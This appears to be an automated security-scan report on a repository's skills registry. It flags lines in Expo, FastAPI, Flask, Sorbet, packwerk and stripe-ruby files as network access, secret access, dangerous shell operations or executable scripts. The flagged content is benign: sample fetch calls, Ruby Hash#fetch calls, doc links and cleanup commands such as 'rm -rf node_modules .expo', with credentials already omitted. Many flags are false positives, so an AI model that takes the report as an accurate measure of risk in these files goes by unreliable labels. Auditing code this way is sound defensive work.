new Request('http://localhost/protected', { - Network accessline 282
// Valid request const validRes = await app.handle( new Request('http://localhost/user', { - Network accessline 283
const validRes = await app.handle( new Request('http://localhost/user', { method: 'POST', - Network accessline 284
new Request('http://localhost/user', { - Network accessline 295
// Invalid request (negative age) const invalidRes = await app.handle( new Request('http://localhost/user', { - Network accessline 296
const invalidRes = await app.handle( new Request('http://localhost/user', { method: 'POST', - Network accessline 297
new Request('http://localhost/user', {
packages/autoskills/skills-registry/emailAndPassword/SKILL.md
- Network accessline 62
const { data, error } = await authClient.signUp.email({ callbackURL: "https://example.com/callback", // absolute URL with origin - Network accessline 63
callbackURL: "https://example.com/callback", // absolute URL with origin - Network accessline 162
body: { email: "john.doe@example.com", // required redirectTo: "https://example.com/reset-password", - Network accessline 163
email: "john.doe@example.com", // required redirectTo: "https://example.com/reset-password", }, - Network accessline 164
redirectTo: "https://example.com/reset-password", - Network accessline 172
const { data, error } = await authClient.requestPasswordReset({ email: "john.doe@example.com", // required redirectTo: "https://example.com/reset-password", - Network accessline 173
email: "john.doe@example.com", // required redirectTo: "https://example.com/reset-password", }); - Network accessline 174
redirectTo: "https://example.com/reset-password",
packages/autoskills/skills-registry/expo-data-fetching/SKILL.md
- Network accessline 57
const fetchUser = async (userId: string) => { const response = await fetch(`https://api.example.com/users/${userId}`); - Network accessline 58
const response = await fetch(`https://api.example.com/users/${userId}`); - Network accessline 71
const createUser = async (userData: UserData) => { const response = await fetch("https://api.example.com/users", { - Network accessline 72
const response = await fetch("https://api.example.com/users", { - Network accessline 184
const fetchWithErrorHandling = async (url: string, options?: RequestInit) => { try { const response = await fetch(url, options); - Network accessline 186
const response = await fetch(url, options); - Access to secretsline 237
[Credential-related source omitted] - Network accessline 249
return fetch(url, { - Network accessline 298
[Credential-related source omitted] - Access to secretsline 298
[Credential-related source omitted] - Network accessline 299
EXPO_PUBLIC_API_URL=https://api.example.com - Network accessline 305
const fetchUsers = async () => { const response = await fetch(`${API_URL}/users`); - Network accessline 306
const response = await fetch(`${API_URL}/users`); - Network accessline 314
// .env.development EXPO_PUBLIC_API_URL=http://localhost:3000 - Network accessline 315
EXPO_PUBLIC_API_URL=http://localhost:3000 - Network accessline 317
// .env.production EXPO_PUBLIC_API_URL=https://api.production.com - Network accessline 318
EXPO_PUBLIC_API_URL=https://api.production.com - Network accessline 331
export const apiClient = { get: async <T,>(path: string): Promise<T> => { const response = await fetch(`${BASE_URL}${path}`); - Network accessline 332
get: async <T,>(path: string): Promise<T> => { const response = await fetch(`${BASE_URL}${path}`); if (!response.ok) throw new Error(`HTTP ${response.status}`); - Network accessline 333
const response = await fetch(`${BASE_URL}${path}`); - Network accessline 338
post: async <T,>(path: string, body: unknown): Promise<T> => { const response = await fetch(`${BASE_URL}${path}`, { - Network accessline 339
const response = await fetch(`${BASE_URL}${path}`, { - Access to secretsline 410
[Credential-related source omitted] - Network accessline 425
const data = await fetch(url).then((r) => r.json()); - Network accessline 431
const response = await fetch(url);
packages/autoskills/skills-registry/expo-data-fetching/references/expo-router-loaders.md
- Network accessline 76
export async function loader() { const response = await fetch("https://api.example.com/posts"); - Network accessline 77
const response = await fetch("https://api.example.com/posts"); - Network accessline 125
) => { const id = params.id as string; const response = await fetch(`https://api.example.com/posts/${id}`); - Network accessline 127
const response = await fetch(`https://api.example.com/posts/${id}`); - Network accessline 200
params, ) => { const data = await fetch("https://api.stripe.com/v1/balance", { - Network accessline 201
) => { const data = await fetch("https://api.stripe.com/v1/balance", { headers: { - Network accessline 202
const data = await fetch("https://api.stripe.com/v1/balance", { - Access to secretsline 204
[Credential-related source omitted] - Network accessline 265
export async function loader() { const response = await fetch("https://api.example.com/posts"); - Network accessline 266
const response = await fetch("https://api.example.com/posts");
packages/autoskills/skills-registry/expo-data-fetching/references/offline-and-cancellation.md
- Network accessline 50
fetch(url, { signal: controller.signal })
packages/autoskills/skills-registry/expo-dev-client/SKILL.md
- Network accessline 10
> **Free locally; cloud builds are paid.** `expo-dev-client` itself is open source and building locally is free. Building or distributing via EAS Build/TestFlight uses your EAS plan's build minutes and needs a paid Apple Developer account f - Network accessline 14
**Development clients are the recommended setup for any real or production app.** Expo Go is a playground for learning and quick experiments with the native libraries it bundles; most apps outgrow it and move to a development client. See [E
packages/autoskills/skills-registry/expo-native-ui/references/icons.md
packages/autoskills/skills-registry/expo-native-ui/references/media.md
packages/autoskills/skills-registry/expo-upgrade/SKILL.md
- Network accessline 22
Check if latest is beta: https://exp.host/--/api/v2/versions (look for `-preview` in `expoVersion`) - Dangerous shell operationline 45
rm -rf node_modules .expo - Network accessline 79
- Review release notes for the target SDK version at https://expo.dev/changelog - Network accessline 80
- Update versioned docs links in agent instruction files (`AGENTS.md`). The default template links to `https://docs.expo.dev/versions/v<version>/`. Search for `docs.expo.dev/versions/` and bump each link to the new SDK version. - Network accessline 130
- `EXPO_USE_FAST_RESOLVER=1` is removed in SDK +54. - cjs and mjs extensions are supported by default in SDK +50. - Expo webpack is deprecated, migrate to [Expo Router and Metro web](https://docs.expo.dev/router/migrate/from-expo-webpack/). - Network accessline 132
- Expo webpack is deprecated, migrate to [Expo Router and Metro web](https://docs.expo.dev/router/migrate/from-expo-webpack/).
packages/autoskills/skills-registry/expo-upgrade/references/expo-av-to-audio.md
- Network accessline 132
https://docs.expo.dev/versions/latest/sdk/audio/
packages/autoskills/skills-registry/expo-upgrade/references/expo-av-to-video.md
- Network accessline 22
<Video ref={videoRef} source={{ uri: 'https://example.com/video.mp4' }} - Network accessline 23
ref={videoRef} source={{ uri: 'https://example.com/video.mp4' }} style={{ width: 350, height: 200 }} - Network accessline 24
source={{ uri: 'https://example.com/video.mp4' }} - Network accessline 39
const player = useVideoPlayer('https://example.com/video.mp4', player => { - Network accessline 160
https://docs.expo.dev/versions/latest/sdk/video/
packages/autoskills/skills-registry/expo-upgrade/references/native-tabs.md
- Network accessline 124
- Read docs for more info https://docs.expo.dev/versions/v55.0.0/sdk/router-native-tabs/
packages/autoskills/skills-registry/expo-upgrade/references/new-architecture.md
packages/autoskills/skills-registry/expo-upgrade/references/react-navigation-to-expo-router.md
- Network accessline 61
- Official Expo Router SDK 55 → 56 migration guide: https://docs.expo.dev/router/migrate/sdk-55-to-56
packages/autoskills/skills-registry/fastapi-python/SKILL.md
packages/autoskills/skills-registry/fastapi-templates/SKILL.md
- Network accessline 116
async with AsyncClient(app=app, base_url="http://test") as client:
packages/autoskills/skills-registry/fastapi-templates/references/details.md
packages/autoskills/skills-registry/fastapi/SKILL.md
- Network accessline 215
See the [OpenTelemetry tutorial](https://fastapi.tiangolo.com/advanced/opentelemetry/) for configuration details.
packages/autoskills/skills-registry/fastmcp/SKILL.md
- Network accessline 13
[FastMCP](https://github.com/jlowin/fastmcp) (v3.x) is the standard Python framework for building MCP servers. This skill covers production patterns verified against the real FastMCP API — applicable to any domain: databases, REST APIs, fil - Network accessline 85
@asynccontextmanager async def lifespan(server: FastMCP): client = httpx.AsyncClient(base_url="https://api.example.com") - Network accessline 86
async def lifespan(server: FastMCP): client = httpx.AsyncClient(base_url="https://api.example.com") yield {"client": client} # yield a dict — tools access via ctx.lifespan_context - Network accessline 87
client = httpx.AsyncClient(base_url="https://api.example.com") - Network accessline 131
@asynccontextmanager async def lifespan(server: FastMCP): client = httpx.AsyncClient(base_url=os.environ["API_BASE_URL"], timeout=30.0) - Network accessline 132
async def lifespan(server: FastMCP): client = httpx.AsyncClient(base_url=os.environ["API_BASE_URL"], timeout=30.0) yield {"client": client, "cache": {}} # ← yield state as a dict - Network accessline 133
[Credential-related source omitted] - Access to secretsline 133
[Credential-related source omitted]
packages/autoskills/skills-registry/flask-api-development/SKILL.md
- Access to secretsline 46
[Credential-related source omitted]
packages/autoskills/skills-registry/flask-api-development/references/application-factory-and-configuration.md
- Access to secretsline 22
[Credential-related source omitted]
packages/autoskills/skills-registry/flask-api-development/references/authentication-and-jwt.md
packages/autoskills/skills-registry/flask-api-development/references/flask-application-setup.md
- Access to secretsline 15
[Credential-related source omitted]
packages/autoskills/skills-registry/flask-api-development/scripts/validate-api.sh
- Executable scriptline 1
#!/bin/bash
packages/autoskills/skills-registry/flutter-expert/SKILL.md
- Network accessline 4
license: MIT metadata: author: https://github.com/Jeffallan - Network accessline 5
metadata: author: https://github.com/Jeffallan company: https://synergetic.solutions - Network accessline 6
author: https://github.com/Jeffallan - Network accessline 7
company: https://synergetic.solutions - Network accessline 140
Maintained by [@jeffallan](https://github.com/jeffallan), Principal Consultant at [Synergetic Solutions](https://synergetic.solutions) - Network accessline 142
[Documentation](https://jeffallan.github.io/claude-skills/skills/frontend/flutter-expert/)
packages/autoskills/skills-registry/flutter-testing/scripts/verify-examples.sh
packages/autoskills/skills-registry/frontend-design/LICENSE.txt
packages/autoskills/skills-registry/generating-sorbet-inline/SKILL.md
- Dangerous shell operationline 60
rm .sorbet-inline-generation-todo.tmp - Network accessline 183
- [syntax.md](reference/syntax.md) - Sorbet signature syntax guide - [sorbet_examples/](reference/sorbet_examples/STRUCTURE.md) - Real-world Sorbet examples from production gems - [Sorbet documentation](https://sorbet.org/docs/overview) - O - Network accessline 185
- [Sorbet documentation](https://sorbet.org/docs/overview) - Official Sorbet docs
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/STRUCTURE.md
- Network accessline 5
- [packwerk/](packwerk/) - https://github.com/Shopify/packwerk
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/application_validator.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/association_inspector.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/cache.rb
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/checker.rb
- Executable scriptline 1
Executable file - Network accessline 45
[checker.violation_type, checker] end, T.nilable(T::Hash[String, Checker])) @checker_by_violation_type.fetch(name) - Network accessline 46
end, T.nilable(T::Hash[String, Checker])) @checker_by_violation_type.fetch(name) end - Network accessline 47
@checker_by_violation_type.fetch(name)
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/cli.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/commands.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/commands/base_command.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/commands/check_command.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/commands/help_command.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/commands/init_command.rb
- Executable scriptline 1
Executable file - Network accessline 27
🎉 Packwerk is ready to be used. You can start defining packages and run `bin/packwerk check`. For more information on how to use Packwerk, see: https://github.com/Shopify/packwerk/blob/main/USAGE.md - Network accessline 28
For more information on how to use Packwerk, see: https://github.com/Shopify/packwerk/blob/main/USAGE.md - Network accessline 33
⚠<U+FE0F> Packwerk is not ready to be used. Please check output and refer to https://github.com/Shopify/packwerk/blob/main/USAGE.md for more information. - Network accessline 34
Please check output and refer to https://github.com/Shopify/packwerk/blob/main/USAGE.md for more information.
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/commands/lazy_loaded_entry.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/commands/update_todo_command.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/commands/uses_parse_run.rb
- Executable scriptline 1
Executable file - Network accessline 33
sig { returns(FilesForProcessing) } def fetch_files_to_process FilesForProcessing.fetch( - Network accessline 34
def fetch_files_to_process FilesForProcessing.fetch( relative_file_paths: parsed_options[:relative_file_paths], - Network accessline 35
FilesForProcessing.fetch(
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/commands/validate_command.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/commands/version_command.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/configuration.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/const_node_inspector.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/constant_context.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/constant_discovery.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/constant_name_inspector.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/disable_sorbet.rb
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/extension_loader.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/file_processor.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/files_for_processing.rb
- Executable scriptline 1
Executable file - Network accessline 18
).returns(FilesForProcessing) end def fetch(relative_file_paths:, configuration:, ignore_nested_packages: false) - Network accessline 19
end def fetch(relative_file_paths:, configuration:, ignore_nested_packages: false) new(relative_file_paths, configuration, ignore_nested_packages) - Network accessline 20
def fetch(relative_file_paths:, configuration:, ignore_nested_packages: false)
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/formatters/default_offenses_formatter.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/formatters/progress_formatter.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/generators/configuration_file.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/generators/root_package.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/graph.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/node.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/node_helpers.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/node_processor.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/node_processor_factory.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/node_visitor.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/offense.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/offense_collection.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/offenses_formatter.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/output_style.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/output_styles/coloured.rb
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/output_styles/plain.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/package.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/package_set.rb
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/package_todo.rb
- Executable scriptline 1
Executable file - Network accessline 34
violated_constant_in_file = violated_constants_found.fetch("files", []).include?(reference.relative_path) - Network accessline 37
violated_constants_found.fetch("violations", []).include?(violation_type) - Network accessline 42
end def add_entries(reference, violation_type) package_violations = new_entries.fetch(reference.constant.package.name, {}) - Network accessline 43
def add_entries(reference, violation_type) package_violations = new_entries.fetch(reference.constant.package.name, {}) entries_for_constant = package_violations[reference.constant.name] ||= {} - Network accessline 44
package_violations = new_entries.fetch(reference.constant.package.name, {}) - Network accessline 47
entries_for_constant["violations"] ||= [] entries_for_constant.fetch("violations") << violation_type - Network accessline 48
entries_for_constant.fetch("violations") << violation_type - Network accessline 50
entries_for_constant["files"] ||= [] entries_for_constant.fetch("files") << reference.relative_path.to_s - Network accessline 51
entries_for_constant.fetch("files") << reference.relative_path.to_s - Network accessline 106
sig { params(package: String).returns(T::Array[String]) } def deleted_files_for(package) old_files = old_entries.fetch(package, {}).values.flat_map { |violation| violation.fetch("files") } - Network accessline 107
def deleted_files_for(package) old_files = old_entries.fetch(package, {}).values.flat_map { |violation| violation.fetch("files") } new_files = new_entries.fetch(package, {}).values.flat_map { |violation| violation.fetch("files") - Network accessline 108
old_files = old_entries.fetch(package, {}).values.flat_map { |violation| violation.fetch("files") } - Network accessline 109
new_files = new_entries.fetch(package, {}).values.flat_map { |violation| violation.fetch("files") } - Network accessline 122
if entries_for_constant.fetch("violations").all? { |type| new_entries_violation_types.include?(type) } - Network accessline 123
stale_violations = entries_for_constant.fetch("files") - Array(new_entries.dig(package, constant_name, "files")) stale_violations.any? - Network accessline 124
entries_for_constant.fetch("files") - Array(new_entries.dig(package, constant_name, "files")) - Network accessline 137
package_violations.each do |constant_name, entries_for_constant| entries_for_files = files & entries_for_constant.fetch("files") - Network accessline 138
entries_for_files = files & entries_for_constant.fetch("files") - Network accessline 151
new_entries.each do |package_name, package_violations| package_violations.each do |_, entries_for_constant| entries_for_constant.fetch("violations").sort!.uniq! - Network accessline 152
package_violations.each do |_, entries_for_constant| entries_for_constant.fetch("violations").sort!.uniq! entries_for_constant.fetch("files").sort!.uniq! - Network accessline 153
entries_for_constant.fetch("violations").sort!.uniq! - Network accessline 154
entries_for_constant.fetch("files").sort!.uniq!
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/parse_run.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/parsed_constant_definitions.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/parsers.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/parsers/erb.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/parsers/factory.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/parsers/parser_interface.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/parsers/ruby.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/rails_load_paths.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/reference.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/reference_checking/checkers/dependency_checker.rb
- Executable scriptline 1
Executable file - Network accessline 59
standard_message = <<~EOS Inference details: this is a reference to #{reference.constant.name} which seems to be defined in #{reference.constant.location}. To receive help interpreting or resolving this error message - Network accessline 60
Inference details: this is a reference to #{reference.constant.name} which seems to be defined in #{reference.constant.location}. To receive help interpreting or resolving this error message, see: https://github.com/Shopify/pack - Network accessline 61
To receive help interpreting or resolving this error message, see: https://github.com/Shopify/packwerk/blob/main/TROUBLESHOOT.md#Troubleshooting-violations
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/reference_checking/reference_checker.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/reference_extractor.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/reference_offense.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/run_context.rb
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/spring_command.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/unresolved_reference.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/validator.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/validator/result.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/validators/dependency_validator.rb
- Executable scriptline 1
Executable file - Network accessline 69
[ package.name, package.dependencies.map { |dependency| package_set.fetch(dependency)&.name }, - Network accessline 70
package.name, package.dependencies.map { |dependency| package_set.fetch(dependency)&.name }, ] - Network accessline 71
package.dependencies.map { |dependency| package_set.fetch(dependency)&.name },
packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/version.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet-inline/reference/syntax.md
- Network accessline 3
Source: https://sorbet.org/docs/sigs
packages/autoskills/skills-registry/generating-sorbet/SKILL.md
- Dangerous shell operationline 59
rm .sorbet-rbi-generation-todo.tmp - Network accessline 187
- [syntax.md](reference/syntax.md) - Sorbet RBI syntax guide - [references/](reference/references/STRUCTURE.md) - Real-world RBI examples from stripe-ruby - [Sorbet RBI documentation](https://sorbet.org/docs/rbi) - Official RBI docs - Network accessline 189
- [Sorbet RBI documentation](https://sorbet.org/docs/rbi) - Official RBI docs
packages/autoskills/skills-registry/generating-sorbet/reference/references/STRUCTURE.md
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe.rb
- Executable scriptline 1
Executable file - Network accessline 3
# Stripe Ruby bindings # API spec at https://stripe.com/docs/api - Network accessline 4
# API spec at https://stripe.com/docs/api - Network accessline 77
DEFAULT_API_BASE = "https://api.stripe.com" - Network accessline 78
DEFAULT_CONNECT_BASE = "https://connect.stripe.com" - Network accessline 79
DEFAULT_UPLOAD_BASE = "https://files.stripe.com" - Network accessline 80
DEFAULT_METER_EVENTS_BASE = "https://meter-events.stripe.com" - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 114
[Credential-related source omitted]
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/api_operations/create.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/api_operations/delete.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/api_operations/list.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/api_operations/nested_resource.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/api_operations/request.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/api_operations/save.rb
- Executable scriptline 1
Executable file - Access to secretsline 18
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Network accessline 74
extend Gem::Deprecate deprecate :save, "the `update` class method (for examples " \ "see https://github.com/stripe/stripe-ruby" \ - Network accessline 75
deprecate :save, "the `update` class method (for examples " "see https://github.com/stripe/stripe-ruby" - Network accessline 76
"see https://github.com/stripe/stripe-ruby" \
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/api_operations/search.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/api_operations/singleton_save.rb
- Executable scriptline 1
Executable file - Access to secretsline 17
[Credential-related source omitted] - Access to secretsline 51
[Credential-related source omitted] - Network accessline 71
extend Gem::Deprecate deprecate :save, "the `update` class method (for examples " \ "see https://github.com/stripe/stripe-ruby" \ - Network accessline 72
deprecate :save, "the `update` class method (for examples " "see https://github.com/stripe/stripe-ruby" - Network accessline 73
"see https://github.com/stripe/stripe-ruby" \
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/api_requestor.rb
- Executable scriptline 1
Executable file - Access to secretsline 28
[Credential-related source omitted] - Access to secretsline 279
[Credential-related source omitted] - Access to secretsline 288
[Credential-related source omitted] - Network accessline 326
"Please check your internet connection and try again. " \ "If this problem persists, you should check Stripe's service " \ "status at https://status.stripe.com, or let us know at " \ - Network accessline 327
"If this problem persists, you should check Stripe's service " \ "status at https://status.stripe.com, or let us know at " \ "support@stripe.com." - Network accessline 328
"status at https://status.stripe.com, or let us know at " \ - Access to secretsline 473
[Credential-related source omitted] - Access to secretsline 476
[Credential-related source omitted] - Access to secretsline 506
[Credential-related source omitted] - Access to secretsline 543
[Credential-related source omitted] - Access to secretsline 544
[Credential-related source omitted] - Network accessline 545
[Credential-related source omitted] - Access to secretsline 545
[Credential-related source omitted] - Network accessline 546
[Credential-related source omitted] - Access to secretsline 546
[Credential-related source omitted] - Network accessline 547
"You can generate API keys from the Stripe web interface. " \ "See https://stripe.com/api for details, or email " \ "support@stripe.com if you have any questions." - Network accessline 548
"See https://stripe.com/api for details, or email " \ - Access to secretsline 552
[Credential-related source omitted] - Network accessline 554
raise AuthenticationError, "Your API key is invalid, as it contains " \ "whitespace. (HINT: You can double-check your API key from the " \ "Stripe web interface. See https:// - Network accessline 555
"whitespace. (HINT: You can double-check your API key from the " \ "Stripe web interface. See https://stripe.com/api for details, or " \ "email support@stripe.com if you have - Network accessline 556
"Stripe web interface. See https://stripe.com/api for details, or " \ - Network accessline 577
# https://go/j/RUN_DEVSDK-1956 - this is probably a bug - Access to secretsline 933
[Credential-related source omitted] - Access to secretsline 1020
[Credential-related source omitted] - Access to secretsline 1039
[Credential-related source omitted]
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/api_resource.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/api_resource_test_helpers.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/api_version.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/connection_manager.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/error_object.rb
- Executable scriptline 1
Executable file - Network accessline 4
# Represents an error object as returned by the API. # # @see https://stripe.com/docs/api/errors - Network accessline 6
# @see https://stripe.com/docs/api/errors - Network accessline 79
# Represents on OAuth error returned by the OAuth API. # # @see https://stripe.com/docs/connect/oauth-reference#post-token-errors - Network accessline 81
# @see https://stripe.com/docs/connect/oauth-reference#post-token-errors
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/errors.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/event_types.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/events/unknown_event_notification.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/events/v1_billing_meter_error_report_triggered_event.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/events/v1_billing_meter_no_meter_found_event.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/events/v2_core_event_destination_ping_event.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/instrumentation.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/list_object.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/multipart_encoder.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/oauth.rb
